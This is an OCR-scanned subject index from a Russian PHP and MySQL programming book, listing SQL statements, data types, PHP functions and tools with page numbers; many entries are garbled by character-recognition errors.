Предметный указа тель о Общеупотребительные слова 75 8 Объект 8 интерполяция 38 Оператор: > 140 -> 13 ALTER TABLE 121, 757 AND 142 class 9 CREATE ОАTABASE 105 CREATE TABLE 116 CREATE USER 1191 DELETE 134, 135 DESCRlBE 120 DROP ОАТABASE 107 extends 47 FLUSH TABLES 1198 implements 61 lNSERT 132, 137 lNSERT, многострочный 133 lNSERT, однострочный 124 interface 60 LIKE 749 МАТСН ( .. . ) AGAINST ( ...) 749 МАТСН ( .. .) AGAINST ( .. .) 757 new 24 NOT LlКE 147 OR 142 REPLACE 137 RLlКE 749 SELECT 140, 154, 155, 156, 195, 757 SHOW ОАТABASES 106 SHOW TABLES 117 TRUNCATE TABLE 135 UNION 155, 156 UNION ALL 156 UNLOCK ТABLES 1198 UPDATE 136 п Параметр 1182 -- dеs-kеу-fiIе 185 Параметр mysql: --delimiter=name 1193 -р 1191, 1192 -u 1187 Параметр mysqld: --dеfаults-fiIе 1182 -- sql-mode 157 -- standalone 1178 Параметр mysqldump: -А 1199 -- all-databases 1199 -В 1199 - -databases 1199 Переменная окружения 1188 Подавление кэширования 23 1 Подбор пар оля 341 Подсветка кода 294 Полиморфизм 8, 54 Пользователь: root 1190 имя 205, 1190 пароль 205, 1190 создание 1191 Порт 1171 Последо вательность* 139 Постраничная навигация 476 Права доступа 906 UNIX 1206 Протокол : FТP 894 НТТР 252 р Разрешение монитора 289 Регистрация пользователей 359 Регулярные выражения: квантификаторы 1210 метасимволы 1209 модификаторы 1213 позиционные проверки 1212 специальные символы 121 1 функции 1213 Реферер 274 1239
1240 с Секретный ключ 184, 186 Сервис 1172, 1177 Сериализация 79 Сессия 244 Спецификатор доступа: private 12, 49 public 12, 49 protected 51 var 12 Стандарт языка SQL 101 Столбец: псевдоним 147 уникальные значения 153 Структурированный язык запросов 100 Счетчик загрузок 307 т Таблица: InnoDB 1168 MyISAM 1168 объединение 155 результирующая 140 Тег: <fo rm> 372 <Н 1> 460 <Н2> 460 <Н3> 460 <Н4> 460 <Н 5> 460 <Н6> 460 <option> 443 <select> 443 <textarea> 417 input 386 Тип данных: BIGINT 111, 203 ВIT 111 BLOB 114 BOOL 111 BOOLEAN 111 Предметный указ а тель CHAR 114 DATE 113, 129 DATETIME 113 DEC 111 DECIMAL 111 DOUBLE 111 DOUBLE РRЕСISЮN 111 ENUM 114 FLOAT 111 INT 111 INTEGER 111 LONGBLOB 114 LONGTEXT 114 MEDIUMBLOB 114 MEDIUMINT 111 MEDIUMTEXT 114 NUMERIC 111 REAL 111 SET 114 SMALLINT 111 ТЕХТ 114 TIME 113 TIMESTАМР 113 ТlNYBLOB 114 TINYINT 110 TINYTEXT 114 VARCHAR 114 YEAR 113 строковый 127 у Универсальный Уникальный Идентификатор 202 Утилита: apachectl 1149 ApachtMon itor 1140 mysql 1185 MySQL Command Line Client 1175 MySQL Server Instance Configurat ion Wizard 1168 mysqldump 118 3, 1198 mysqlhotcopy 1198 tar 1200
Предме ТНblЙ указатель ф Файл: db.opt 106 DES 185 загрузка на сервер 300, 332 количество в каталогах 31 О размер 317 редактирование 304 счетчик загрузки 307 Функция: ABSO 157 ACOSO 157 АDDDАТЕО 163 ADDТIMEO 164 AES DECRYPTO 184, 186 AE(ENCRYPTO 184, 186 ASCIIO 175 ASINO 158 ATANO 158 ATAN20 158 АУОО 188, 189 bcsubO 292 BINO 175 BIТ ANDO 188 ВIT=LENGTHO 175 BIТ_ORO 189 BIT_XORO 189 саН existsO 22 саН - user fu ncO 22 caH-usе�fu nc arrayO 21 саН - user-meth�dO 22 calCuser=method_arrayO 2] CEILO 158 CElLINGO 158, 162 CHARO ]75 CHAR_LENGTHO 175 CHARSETO 175 checkdnsrrO 282 closedirO 311 COALESCEO 158 COLLATIONO 175 COMPRESSO 175 CONCATO 175, 182 CONCAТ_WSO 175 CONVO 175 CONVERTO 175, 180 CONVERT_TZO 164 соруО 302 COSO 158 СОТО 158 COUNTO 147, 189, 193 crc32 340 CRC320 158 cryptO 339 CURDATEO 164 curl_execO 255 curl_initO 255 curl setoptO 255 CURRENT ТIMEO 164, 166 CURRENT=ТIMESTАМРО 166 CURТIMEO 164 DАТЕО 164 DАТЕ АDDО 163 DATE=FORМATO 164, 169 DATE_SUBO 167 DATEDIFFO 164 DАУО 164 DА YNAMEO 164 DАYOFMONTHO 164 DАYOFWEEKO 164 DАYOFYEARO 165 DЕСОDЕО 185 decrypt_md50 343 DEFAULTO 20 1 DEGREESO 158 DES DECRYPTO 185 DES=ENCRYPTO 185 ELTO 176 emptyO 325 ENCODEO 184 ENCRYPTO 185 еуаl() 43 ЕХРО 158 ex plodeO 363 EXPORT_SETO 176 EXTRACTO 165 fg etsO 248, 252 FIELDO 176 filеО 486, 1156 file�et_contentsO 248, 1 156 filesizeO 317 FIND_IN_SETO 176 124 1
1242 FLOORO 158, 162, 172 fo penO 248 FORМATO 176 FROM_DAYSO 165 FROM_UNIXТIMEO 165, 173 fs ockopenO 250 ftp_cdupO 896 ftp_chdirO 896 ftp_ch modO 896, 922 ftp_closeO 895, 896 ftp_connectO 894, 896 ftp_deleteO 897 ftp_execO 897 ftp_fgetO 897 ftp_fputO 897 ftp�etO 897 ftpJoginO 894, 897 ftp_mdtmO 897 ftp_mkd irO 897, 924 ftp_nb_continueO 897 ftp_nb_fgetO 898 ftp_nbJputO 898 ftp_nb�etO 898, 934 ftР_ПЬ-IJutО 898, 92 1 ftp_n listO 898, 93 1 ftP-IJаsvО 898 ftP-IJutО 898 ftP-IJwdО 898 ftp_rawO 898 ftpJawlistO 899, 916 ftp_renameO 899, 930 ftp_rmdirO 899, 932 ftp_siteO 899 ftp_sizeO 899 ftp_systypeO 899 get_classO 22 get_class_m ethodsO 22 get_c lass_varsO 22 get_contentO 25 1 get_declared_classO 22 get_declared_interfacesO 22 GET]ORMATO 165 GET_LOCKO 20 1 get_m agic_quotes�cO 357, 1157 get_object_varsO 22 get-IJагепt_сlаssО 22 gethostbyaddrO 283 Пред метный указа тель gethostbYl1ameO 282 gethostbyn amel() 283 GREATESTO 158 GROUP_CONCATO 189, 196 headerO 216, 1155 headers_listO 216 headers_sentO 216 НЕХО 176 highlight_fiIeO 294 highlight_stringO 294 HOURO 165 htmlspecialcharsO 364 imagecopyresampledO 1098 imagefilledellipseO 1114 imagefilledrectangleO 1117 INET_ATONO 20 1,202 INET_NTOAO 20 1, 203 INSERTO 176 INSTRO 177 il1terface_existsO 22 INTERVALO 158 intv al() 328 ip21ongO 283 is_aO 23 is_cal labIeO 23 IS]REE_LOCKO 201 is_objectO 23 is_subclass_ofO 23 is_uploaded_fiIeO 302 IS_USED_LOCKO 202 issetO 325 LAST_DAуо 165 LCASEO 177 LEASTO 158 LБFТО 177 LENGTHO 177 LNO 158 LOAD]ILEO 177 LOCALТIME 166 LOCALТIMEO 166 LOCALТIMESTАМР 166 LOCALТIМESTАМРО 166 LOCATEO 177 LOGO 158 LOG I00 159 LOG20 159 long2ipO 283
ПредмеТНblЙ указа тель LOWERO 177, 183 LPADO 177 LTRIMO 177 mail() 85 1 MAKE_SETO 177 MAКEDATEO 165 MAKETIMEO 165 МАХО 189 mcrypt_ecbO 341 md50 338 MD50 185, 187 md5_fiIeO 338 method_existsO 23 MICROSECONDO 165 microtimeO 292 МШО 178 MINO 189 MINUTEO 166 miscellaneous 20 1 MODO 159 MONTHO 166 MONTНNAMEO 166 move_uploaded_fileO 301 mysql_escape_stringO 357 mysql_fetch_arrayO 349 NAME_CONSTO 202 NOWO 129, 166 ob_cleanO 226 ob_end_cleanO 226 ob_end_f1ushO 226 ob_f1ushO 226 ob-Ееt_сlеапО 226 оЬ-Eet_contentsO 226 ob-Ееt_f1 ushО 226 ob-Ееt_l епghtО 226 ob_get_level() 226 ob-Ееt_stаtusО 226 ob-Еzh апdlеrО 227 ob_implicit_f1 ushO 227 ob_1ist_handlersO 227 ob_startO 227 ОСТО 178 OCTET_LENGTHO 177 OLD]ASSWORDO 186 opendirO 310 ORDO 178 output_add_rewrite_varO 227 output_reset_rewrite_varsO 227 PASSWORDO 186 РЕRЮD_А DDО 166 РЕRЮD_DlFFО 166 PI() 159 РОSIТЮNО 177 POWO 159 POWERO 159 preg-ЕrерО 1214 preg_matchO 1214 preg_match_аllО 1215 preg_quoteO 1216 pre!LreplaceO 1217 preg_replace_cal lbackO 1217 preg_splitO 1218 printJO 19, 23 property_exitsO 23 QUARTERO 166 QUOTEO 178 RADlANSO 159, 161 rапdО 317 RANDO 159 readdirO 310, 316 register-Elobals 1156 RELEASE_LOCKO 202 REPEATO 178 REPLACEO 178 resizeimgO 1096 REVERSEO 178 RIGHTO 178 rmdirO 315 ROUNDO 159, 161 RPADO 178 RTRIMO 178 scandirO 311 SEC_ТО_ТlMEO 167 SECONDO 166 seria1izeO 80 sеssiоп_сасЬе_expireO 234 sеssiоп_сасhеJimitеrО 233 sеssiоп_dеstrоуО 247 sеssiоп_idО 247 sеssiоп_stаrtО 245, 1155 set_timeJimitO 343, 1156 setcookieO 239, 1155 SHAI0 186 SIGNO 159 1243
1244 SINO 159, 161 SLEEP0 202 SOUNDEXO 179 SPACEO 179 SQRTO 159 STDO 189 STDDEVO 189 STDDEV]OPO 189 STDDEV_SAМPO 189 STR_TO_DATEO 167 strstrO 253 SUBDAТЕО 167 SUBSTRINGO 178, 181 SUBSTRING_INDEXO 179 SUBТIMEO 167 SUMO 189, 200 TANO 159 tempnamO 934 ТIMEO 164, 167 TIME]ORMATO 168 TIME_TO _SECO 168 ТIMEDIFFO 167 ТIMESTАМРО 167 ТIMESTAMPADDO 167 ТIMESTAMPDIFFO 167 TO_DAYSO 168, 172 trimO 326, 364 TRIMO 179 TRUNCATEO 159, 163 UCASEO 180 UNCOMPRESSO 179 UNCOMPRESSED_LENCTHO 179 UNHEX() 180 UNIX_ТIMESTAМP() 168 unlinkO 316 unserializeO 80 UPPER() 180, 183 urlencodeO 348 UTC_DATEO 168 UTC_ТIMEO 168 UTC_ТIMESTAMPO 169 UUIDO 202 var_exportO 40 VAR]OPO 189 VAR_SAMPO 189 ПредмеТНblЙ указатель VARIANCEO 189 VERSIONO 352 WEEK() 169 WEEKDA УО 169 WEEKOFYEARO 169 whoisO 286 YEARO 169 YEARWEEKO 169 агрегатная 188 календарная 163 конструкции GROUP ВУ 188 математическая 157 строковая 174 суммирующая 188 шифрования 184 ч Член: класса 9 проверка существ ования 32 уничтожение 33 ш Шифрование: необратимое 185, 187, 337 обратимое 186, 340 э Электронная почта, заголовок сообщения 85 1 я Язык SQL 100, 101